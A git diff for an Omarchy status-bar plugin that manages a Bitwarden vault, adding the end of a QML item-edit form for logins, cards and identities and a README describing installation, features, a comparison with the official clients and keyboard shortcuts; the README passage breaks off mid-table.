editFormCol.implicitHeight) + contentWidth: width + contentHeight: editFormCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: editFlickable } + + Column { + id: editFormCol + width: editFlickable.width - root.scrollGutter + spacing: Style.space(10) + + // Item Type Selector (only for new items) + Row { + visible: !root.formIsEditing + spacing: Style.space(8) + + Button { + text: "Login" + iconText: "󰌋" + selected: root.formTypeCode === 1 + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.formTypeCode = 1 + } + + Button { + text: "Secure Note" + iconText: "󰈙" + selected: root.formTypeCode === 2 + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.formTypeCode = 2 + } + Button { + text: "Card" + iconText: "󰿯" + selected: root.formTypeCode === 3 + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.formTypeCode = 3 + } + + Button { + text: "Identity" + iconText: "" + selected: root.formTypeCode === 4 + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.formTypeCode = 4 + } + } + + // FIELD: Title / Name + Column { + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "TITLE / NAME *"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + id: formNameField + width: parent.width + placeholderText: "e.g. GitHub, Google, Work Server..." + text: root.formName + onTextChanged: root.formName = text + } + } + + // FIELD: Folder -- expandable list rather than a wrapping row of + // buttons, which grew unreadable once a vault had more than a few. + Column { + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "FOLDER"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + + Button { + width: parent.width + text: Model.plainLabel(root.formFolderLabel()) + iconText: root.formPicker === "folder" ? "\u{F0140}" : "\u{F024B}" + selected: root.formPicker === "folder" + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + leftAlign: true + onClicked: root.toggleFormPicker("folder") + } + + Flickable { + id: folderPickList + visible: root.formPicker === "folder" + width: parent.width + height: visible ? Math.min(Style.space(150), folderPickCol.implicitHeight) : 0 + contentWidth: width + contentHeight: folderPickCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: folderPickList } + + Column { + id: folderPickCol + width: folderPickList.width - root.scrollGutter + spacing: Style.space(2) + + FormPickerRow { + width: parent.width + foreground: root.fg + fontFamily: root.fontFamily + label: "No Folder" + glyph: "\u{F0256}" + picked: !root.formFolderId + onActivated: root.setFormFolder("") + } + + Repeater { + model: root.folders + delegate: FormPickerRow { + required property var modelData + width: parent.width + foreground: root.fg + fontFamily: root.fontFamily + label: modelData.name + glyph: "\u{F024B}" + picked: root.formFolderId === modelData.id + onActivated: root.setFormFolder(modelData.id) + } + } + } + } + + // Creating a folder here saves leaving the form to make one. + Row { + width: parent.width + spacing: Style.space(6) + + TextField { + width: parent.width - Style.space(96) + placeholderText: "New folder name..." + text: root.newFolderName + onTextChanged: root.newFolderName = text + onAccepted: root.submitNewFolder() + enabled: !root.creatingFolder + } + + Button { + text: root.creatingFolder ? "Adding..." : "Add" + iconText: root.creatingFolder ? "\u{F0450}" : "\u{F0415}" + iconSpinning: root.creatingFolder + fontFamily: root.fontFamily + fontSize: Style.font.caption + enabled: !root.creatingFolder && root.newFolderName.trim() !== "" + onClicked: root.submitNewFolder() + } + } + } + + // FIELD: Organization, and the collections it files items into. + Column { + visible: root.organizations.length > 0 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "ORGANIZATION"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + + Button { + width: parent.width + text: Model.plainLabel(root.formOrgLabel()) + iconText: root.formPicker === "organization" ? "\u{F0140}" : "\u{F0991}" + selected: root.formPicker === "organization" + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + leftAlign: true + onClicked: root.toggleFormPicker("organization") + } + + Flickable { + id: orgPickList + visible: root.formPicker === "organization" + width: parent.width + height: visible ? Math.min(Style.space(150), orgPickCol.implicitHeight) : 0 + contentWidth: width + contentHeight: orgPickCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: orgPickList } + + Column { + id: orgPickCol + width: orgPickList.width - root.scrollGutter + spacing: Style.space(2) + + FormPickerRow { + width: parent.width + foreground: root.fg + fontFamily: root.fontFamily + label: "My Vault" + glyph: "\u{F0004}" + picked: !root.formOrgId || root.formOrgId === "personal" + onActivated: root.setFormOrganization("") + } + + Repeater { + model: root.organizations + delegate: FormPickerRow { + required property var modelData + width: parent.width + foreground: root.fg + fontFamily: root.fontFamily + label: modelData.name + glyph: "\u{F0991}" + picked: root.formOrgId === modelData.id + onActivated: root.setFormOrganization(modelData.id) + } + } + } + } + + // Collections only exist for org-owned items, and Bitwarden + // requires at least one, so this appears with the choice. + Column { + visible: Boolean(root.formOrgId) && root.formOrgId !== "personal" + width: parent.width + spacing: Style.space(3) + + Item { width: 1; height: Style.space(4) } + + Row { + width: parent.width + spacing: Style.space(6) + Text { + textFormat: Text.PlainText + text: "COLLECTIONS" + color: root.formCollectionIds.length === 0 ? root.urgent : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + Text { + textFormat: Text.PlainText + text: root.formCollectionsLoading + ? "loading..." + : (root.formCollectionIds.length === 0 + ? "pick at least one" + : root.formCollectionIds.length + " selected") + color: root.formCollectionIds.length === 0 ? root.urgent : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + + Flickable { + id: collectionList + width: parent.width + height: Math.min(Style.space(150), collectionCol.implicitHeight) + contentWidth: width + contentHeight: collectionCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: collectionList } + + Column { + id: collectionCol + width: collectionList.width - root.scrollGutter + spacing: Style.space(2) + + Text { + textFormat: Text.PlainText + visible: !root.formCollectionsLoading && root.formCollections.length === 0 + width: parent.width + text: "No collections available in this organization." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + Repeater { + model: root.formCollections + delegate: FormPickerRow { + required property var modelData + width: parent.width + foreground: root.fg + fontFamily: root.fontFamily + label: modelData.name + glyph: "\u{F0290}" + picked: root.isFormCollectionSelected(modelData.id) + // Several collections may hold one item, so these + // toggle instead of replacing the choice. + multi: true + onActivated: root.toggleFormCollection(modelData.id) + } + } + } + } + } + } + + // FIELD: Username (Login only) + Column { + visible: root.formTypeCode === 1 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "USERNAME / EMAIL"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "username or email address..." + text: root.formUsername + onTextChanged: root.formUsername = text + } + } + + // FIELD: Password with Generator (Login only) + Column { + visible: root.formTypeCode === 1 + width: parent.width + spacing: Style.space(3) + RowLayout { + width: parent.width + Text { textFormat: Text.PlainText; text: "PASSWORD"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + Item { Layout.fillWidth: true } + // Opens the real generator, which fills this field in and + // comes back. The ellipsis says it goes somewhere first. + Button { + text: "Generate..." + iconText: "󰌆" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.openGenerator() + } + } + Row { + width: parent.width + spacing: Style.space(6) + TextField { + id: formPassField + width: parent.width - eyeBtnForm.width - Style.space(6) + placeholderText: "Password..." + password: !root.formPasswordRevealed + text: root.formPassword + onTextChanged: root.formPassword = text + } + Button { + id: eyeBtnForm + iconText: root.formPasswordRevealed ? "󰈉" : "󰈈" + tooltipText: root.formPasswordRevealed ? "Hide password" : "Show password" + fontFamily: root.fontFamily + onClicked: root.formPasswordRevealed = !root.formPasswordRevealed + } + } + } + + // FIELD: TOTP Authenticator Key (Login only) + Column { + visible: root.formTypeCode === 1 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "AUTHENTICATOR KEY (TOTP SECRET)"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "e.g. JBSWY3DPEHPK3PXP (optional)..." + text: root.formTotp + onTextChanged: root.formTotp = text + } + } + + // FIELD: Website URL (Login only) + Column { + visible: root.formTypeCode === 1 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "WEBSITE URL"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "https://example.com/login..." + text: root.formUri + onTextChanged: root.formUri = text + } + } + + // ----------------------------------------------------------- + // FORM FIELDS: Card + // ----------------------------------------------------------- + // Expiry is split here, unlike the detail view, because these + // are two values the vault stores separately and a single box + // would have to guess where the boundary between them falls. + Column { + visible: root.formTypeCode === 3 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "CARDHOLDER NAME"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "Name as printed on the card" + text: root.formCardholderName + onTextChanged: root.formCardholderName = text + } + } + Column { + visible: root.formTypeCode === 3 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "BRAND"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "Visa, Mastercard, Amex..." + text: root.formCardBrand + onTextChanged: root.formCardBrand = text + } + } + Column { + visible: root.formTypeCode === 3 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "CARD NUMBER"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "1234 5678 9012 3456" + text: root.formCardNumber + onTextChanged: root.formCardNumber = text + } + } + Column { + visible: root.formTypeCode === 3 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "EXPIRY MONTH"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "MM" + text: root.formCardExpMonth + onTextChanged: root.formCardExpMonth = text + } + } + Column { + visible: root.formTypeCode === 3 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "EXPIRY YEAR"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "YYYY" + text: root.formCardExpYear + onTextChanged: root.formCardExpYear = text + } + } + Column { + visible: root.formTypeCode === 3 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "SECURITY CODE"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "CVV / CVC" + text: root.formCardCode + onTextChanged: root.formCardCode = text + } + } + + // ----------------------------------------------------------- + // FORM FIELDS: Identity + // ----------------------------------------------------------- + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "TITLE"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "Mr, Ms, Dr..." + text: root.formIdTitle + onTextChanged: root.formIdTitle = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "FIRST NAME"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdFirstName + onTextChanged: root.formIdFirstName = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "MIDDLE NAME"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdMiddleName + onTextChanged: root.formIdMiddleName = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "LAST NAME"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdLastName + onTextChanged: root.formIdLastName = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "USERNAME"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdUsername + onTextChanged: root.formIdUsername = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "COMPANY"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdCompany + onTextChanged: root.formIdCompany = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "EMAIL"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "name@example.com" + text: root.formIdEmail + onTextChanged: root.formIdEmail = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "PHONE"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdPhone + onTextChanged: root.formIdPhone = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "SOCIAL SECURITY NUMBER"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdSsn + onTextChanged: root.formIdSsn = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "PASSPORT NUMBER"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdPassport + onTextChanged: root.formIdPassport = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "LICENCE NUMBER"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdLicense + onTextChanged: root.formIdLicense = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "ADDRESS LINE 1"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdAddress1 + onTextChanged: root.formIdAddress1 = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "ADDRESS LINE 2"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdAddress2 + onTextChanged: root.formIdAddress2 = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "ADDRESS LINE 3"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdAddress3 + onTextChanged: root.formIdAddress3 = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "CITY / TOWN"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdCity + onTextChanged: root.formIdCity = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "STATE / COUNTY"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdState + onTextChanged: root.formIdState = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "POSTAL CODE"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdPostalCode + onTextChanged: root.formIdPostalCode = text + } + } + Column { + visible: root.formTypeCode === 4 + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "COUNTRY"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "" + text: root.formIdCountry + onTextChanged: root.formIdCountry = text + } + } + + // FIELD: Notes + Column { + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "NOTES"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "Additional secure notes..." + text: root.formNotes + onTextChanged: root.formNotes = text + } + } + + // Favorite Star Toggle + Row { + spacing: Style.space(8) + Button { + text: root.formFavorite ? "★ In Favorites" : "☆ Add to Favorites" + selected: root.formFavorite + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.formFavorite = !root.formFavorite + } + } + + // Enter saves from anywhere in the form, so a long item does not + // have to be scrolled to the bottom to be committed. + // + // A Shortcut rather than `onAccepted` on each field: there are + // more than thirty of them and the next one added would silently + // not save. It is scoped tightly instead -- only on this screen, + // and not while a picker is open, where Enter belongs to the + // list being picked from. + Shortcut { + sequences: ["Return", "Enter"] + enabled: root.activeScreen === "edit" && root.formPicker === "" + onActivated: root.saveItemForm() + } + + // Save Action Button + Button { + width: parent.width + text: root.isLoading + ? "Saving..." + : (root.formIsEditing ? "Save Changes (Enter)" : "Create Item (Enter)") + iconText: root.isLoading ? "󰑐" : "󰄬" + iconSpinning: root.isLoading + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: !root.isLoading + onClicked: root.saveItemForm() + } + + Item { height: Style.space(12); width: 1 } + } + } + } + } + + // Transient updates belong to the panel, but not to its layout. Keeping + // this beside mainColumn means fittedContentHeight never sees it, so an + // unlock, copy, save, or error cannot shove the active screen down and + // pull it back up when the message clears. + StatusNotice { + id: statusNotice + statusMessage: root.flashMessage + errorMessage: root.errorMessage + statusSuppressed: root.totpFollowupActive + foreground: root.fg + surfaceColor: root.bar ? root.bar.background : Color.background + accentColor: root.accent + urgentColor: root.urgent + fontFamily: root.fontFamily + actionLabel: root.failedSave ? "Reopen " + root.failedSave.name : "" + onActionRequested: root.reopenFailedSave() + onErrorDismissed: { + // Dismissing the message drops the recovery with it: the list is + // already back to what the vault holds, so what is being discarded + // is the attempt, and leaving a Reopen behind an invisible message + // would be a button for something the user has said they are done + // with. + root.failedSave = null + root.errorMessage = "" + } + } + } + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/README.md b/plugins/io.github.elevate08.qs-bitwarden-cli/README.md new file mode 100644 index 0000000..3e536f2 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/README.md @@ -0,0 +1,581 @@ +# qs-bitwarden-cli + +Your Bitwarden vault in the **Omarchy** status bar. Search, copy, and manage +every item type without opening a browser. + +[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) +[![Version](https://img.shields.io/badge/version-1.8.1-green.svg)](manifest.json) +[![Platform: Omarchy](https://img.shields.io/badge/platform-Omarchy%20%2F%20Hyprland-7c3aed.svg)](https://omarchy.org/) +[![Requires: Bitwarden CLI + jq](https://img.shields.io/badge/requires-bw%20CLI%20%2B%20jq-175ddc.svg)](https://bitwarden.com/help/cli/) + +![Bitwarden Vault Plugin preview](preview.png) + +Built on Quickshell and the official Bitwarden CLI. Keyboard-first, fast, and +it never writes your vault to a cache of its own. + +--- + +## Install + +One command. It clones the plugin, enables it, and puts it in the bar: + +```bash +omarchy plugin add https://github.com/Elevate08/qs-bitwarden-cli --enable +``` + +Nothing else has to be installed first. Open the panel and it tells you what it +still needs -- on a stock Omarchy install that is the Bitwarden CLI and `jq` -- +with an **Install** button that hands off to Omarchy's own installer. + +To update: `omarchy plugin update io.github.elevate08.qs-bitwarden-cli` + +### Sign in + +Login screen + +Email and password, with the 2FA prompt appearing only when Bitwarden asks for +one. **Server region** picks US, EU, or a custom URL for self-hosted Bitwarden +and Vaultwarden. + +Using SSO, a Duo push, or a hardware key? **Launch Terminal** runs `bw login` in +a real terminal so Bitwarden's own prompts handle it, then hands the session +straight back to the panel -- no second login just to get in. + +
+ +--- + +## The tour + +### Your vault, one keystroke away + +Vault list + +Search by name, username, URL, public key or fingerprint. Enter +copies the password and arms the TOTP follow-up; press it again within the +window and the live 2FA code replaces it on the clipboard. + +Items show their folder and organization inline. The bottom bar filters by +folder, organization and type without leaving the keyboard. + +**Suggestions** read the focused window or browser tab and pin the matching +credential to the top, so Enter is usually the only key you need. +Pick an item once for a site a title cannot match, and it is remembered. + +
+ +Folder filter drawer + +f, o and t open the folder, organization and +type drawers. Arrows move, Enter applies, Esc closes -- +and the cursor starts on the option already in effect, so Enter +never changes anything by accident. + +
+ +### Open an item + +Login detail + +Username, password and the live TOTP with its countdown, the websites attached +to the item, its notes and any custom fields. Copy any of them with one key. + +**Suggest here** pins this item for the app or site in front of you, so it is +offered outright next time rather than inferred. + +
+ +### Every item type, not just logins + +Card detail + +**Cards** show cardholder, brand, number, expiry and security code. The number +and the code are masked until revealed, and each reveals independently -- an eye +is a statement about the field it sits on. + +Search finds a card by brand, cardholder, or last four digits. Deliberately not +by the middle of a number. + +
+ +Identity detail + +**Identities** show name, username, company, email and phone, the social +security, passport and licence numbers, and the address as a single copyable +block rather than seven rows. Empty fields are not drawn, so a sparse identity +stays short. + +The three identifiers are masked for the reason a password is, with the +difference that these cannot be rotated afterwards. + +
+ +### Add and edit, without waiting + +Edit item form + +Create logins, secure notes, cards and identities. Enter saves from +anywhere in the form, so a long item does not have to be scrolled to the bottom. + +Saving and deleting no longer hold the panel. The form closes as the command is +launched and the row shows a spinner until the vault answers. If the vault +refuses, the list goes straight back to what it actually holds and offers to +reopen what you typed. + +
+ +### Generator + +Password generator + +Every option the browser extension has -- length, character classes, minimums, +ambiguous characters, or a passphrase with a word count and separator -- with a +live strength meter. + +Generation comes from Bitwarden's own generator, not a reimplementation, and +answers in about **2ms** rather than the ~2.9s a fresh `bw generate` costs. + +
+ +### Send + +Bitwarden Send + +Share a secret through a link that expires on its own, so a credential need not +live in a chat log. Set a deletion window, a view limit and an optional +password; the link is copied the moment it is created. + +
+ +### SSH agent + +SSH signing approval + +Opt-in. Serves the SSH keys in your vault to `ssh`, Git and `ssh-keygen -Y sign` +while the vault is unlocked, from a helper process that holds the private keys +in memory -- never on disk, never in QML. + +Every signature names the key, its fingerprint and the program asking. One +approval can cover a whole rebase; live grants are listed and revocable. + +**[Setup, verification and threat model →](docs/ssh-agent.md)** + +
+ +### Settings + +Settings screen + +Grouped into **General**, **Security** and **SSH Agent**, with the section you +are reading pinned above the list as you scroll. Destructive actions sit under +their own **DANGER ZONE** heading. + +Changes are written to the plugin's entry in `~/.config/omarchy/shell.json` +through `omarchy bar set`, so Omarchy owns the file and the shell hot-reloads. + +The General settings include **Colorize menu-bar icon**, which makes the +primary Bitwarden shield follow the active Omarchy theme accent. It is off by +default; lock and setup/error indicators keep their existing status colors. + +
+ +--- + +## How it compares + +What this plugin does, next to the two official Bitwarden clients a Linux user +would otherwise reach for. Checked against Bitwarden's documentation on 2026-12-01. + +| | This plugin | Bitwarden CLI | Bitwarden Desktop | +| :--- | :---: | :---: | :---: | +| **Lives in the Omarchy bar** | ✅ | ❌ | ❌ | +| View logins, notes, cards, identities | ✅ | ✅ | ✅ | +| Create / edit logins, notes, cards, identities [^cli-json] | ✅ | ✅ | ✅ | +| View SSH key items | ✅ | ✅ | ✅ | +| Create / import SSH keys [^adr] [^ssh-clients] | ❌ | ❌ | ✅ | +| **SSH agent** [^ssh-desktop] | ✅ | ❌ | ✅ | +| TOTP codes, auto-copied after the password [^totp] | ✅ | ❌ | ❌ | +| Download attachments | ✅ | ✅ | ✅ | +| Bitwarden Send, text | ✅ | ✅ | ✅ | +| Folders, collections, organizations | ✅ | ✅ | ✅ | +| Password / passphrase generator | ✅ | ✅ | ✅ | +| **Unlock with PIN** [^pin] | ✅ | ❌ | ✅ | +| **Unlock with fingerprint** [^fp] [^bio] [^bio-linux] | ✅ | ❌ | ✅ | +| Auto-lock on idle, screen lock, suspend [^cli-lock] [^desk-lock] | ✅ | ❌ | ✅ | +| **Suggests by focused window / browser tab** | ✅ | ❌ | ❌ | +| Self-hosted and Vaultwarden | ✅ | ✅ | ✅ | +| Import / export your vault [^io] | ❌ | ✅ | ✅ | +| Trash: restore a deleted item [^trash] | ❌ | ✅ | ✅ | +| Upload attachments [^attach] | ❌ | ✅ | ✅ | +| File Sends [^filesend] | ❌ | ✅ | ✅ | +| Edit custom fields [^fields] | ❌ | ✅ | ✅ | +| Organization admin: confirm members, approve devices [^orgadmin] | ❌ | ✅ | ❌ | + +[^cli-json]: The CLI creates a login by default; other types need the JSON + edited before encoding, as its documentation describes -- "use a + command-line JSON processor like jq to change a `.type=` attribute to + create other item types." +[^adr]: **This plugin** will not. The CLI can encrypt a type-5 item, but + generating a key means putting private material somewhere this plugin has + deliberately kept it out of. + See [ADR 0004](docs/decisions/0004-ssh-key-creation.md). +[^ssh-clients]: Bitwarden documents SSH keys as generated or imported "using + the desktop app, web app, and browser extension", and generation is + Ed25519 only. +[^ssh-desktop]: Bitwarden's SSH agent is a desktop-app feature; the CLI does + not provide one. +[^pin]: PIN unlock is documented for "mobile apps, browser extensions, and + desktop apps". +[^fp]: **This plugin** verifies through the same PAM stack as the Omarchy lock + screen, so it works wherever `omarchy setup security fingerprint` has been + run. +[^bio]: Biometric unlock is documented for the desktop app, browser extensions + and mobile apps -- not the CLI. +[^bio-linux]: On Linux the desktop app's biometric unlock goes through a polkit + agent rather than a fingerprint reader directly. +[^totp]: All three read TOTP codes -- `bw get totp` on the CLI. The check + here is for the follow-up: Enter copies the password and then + replaces it with the live code a few seconds later, so a login and its + second factor are one keystroke apart. +[^cli-lock]: The CLI has `bw lock`, but no timeout of its own -- a session key + stays valid until something locks it. +[^desk-lock]: The desktop app offers time passed, on system idle, on system + sleep, on system lock and on restart. + +[^io]: `bw import` and `bw export` on the CLI; the desktop app has both in its + UI. This plugin has neither -- it reads and writes single items, and a + vault export is a different kind of operation from the one it is for. +[^trash]: A delete here is a delete. Bitwarden keeps deleted items in a trash + for 30 days and both official clients can restore from it (`bw restore`); + this plugin shows no trash and cannot restore. +[^attach]: This plugin downloads attachments but cannot add one. The CLI has + `bw create attachment --file`. +[^filesend]: This plugin creates text Sends only. Both official clients send + files too -- `bw send -f `. +[^fields]: This plugin shows an item's custom fields but does not edit them. +[^orgadmin]: `bw confirm` and `bw device-approval` are CLI features; the + desktop app does not do this either, and it is otherwise the web vault's + job. Listed because the CLI is genuinely ahead of both here. + +Sources: [CLI](https://bitwarden.com/help/cli/) · +[SSH agent](https://bitwarden.com/help/ssh-agent/) · +[About SSH](https://bitwarden.com/help/about-ssh/) · +[PIN unlock](https://bitwarden.com/help/unlock-with-pin/) · +[Biometrics](https://bitwarden.com/help/biometrics/) + +--- + +## Usage & Keyboard Shortcuts + +The panel opens with the item list focused, so single-letter shortcuts work straight away. Press / to type a search. + +**While the search box has focus** every letter is search text -- as a text field should behave. Hold Alt to reach the same shortcuts without leaving the box or disturbing your query; ↓ also hands focus back to the list. + +### Vault List View (Main Screen) + +| Shortcut | Action | +| :--- | :--- | +| Enter | Copy password (and arm the TOTP follow-up), or open the item when there is no password to copy -- a card, an identity, a note, an SSH key | +| Enter *(again)* | Copy the TOTP code during the follow-up window | +| ↑ / ↓ / j / k | Move through items, or through an open filter drawer | +| / | Focus the search box | +| Tab / Shift+Tab | Cycle types without opening the drawer | +| p *(or y)* | Copy **p**assword | +| u *(or c)* | Copy **u**sername / email | +| m | Copy TOTP **m**ulti-factor code | +| w | Open the **w**ebsite in your browser | +| e | Open the detail inspector / **e**dit | +| f | **F**olders filter | +| o | **O**rganizations filter | +| t | **T**ypes filter | +| g | **G**enerator | +| n | **N**ew vault item | +| s | **S**ettings | +| r | Sync (**r**efresh) | +| l | **L**ock the vault | +| Alt+s | Bitwarden **S**end | +| Alt+, | Settings | +| Esc | Close the filter drawer, clear the search, or close the panel | + +`Alt` + any letter above runs the same action from inside the search box. Two are `Alt`-only: Alt+s opens **Send** (which has no bare letter, since s is Settings), and Alt+, opens **Settings**, so Settings is still reachable while searching. + +### Detail Inspector + +| Shortcut | Action | +| :--- | :--- | +| Enter / y / p | Copy what the item is for: the password on a login, the number on a card | +| u / c | Copy username; on an identity u is the username and c the email | +| n | Copy a card's **n**umber | +| k | Copy a card's security code | +| m | Copy TOTP code | +| v | Toggle re**v**eal on the item's principal secret -- the password on a login, the number on a card. Every other masked field has its own 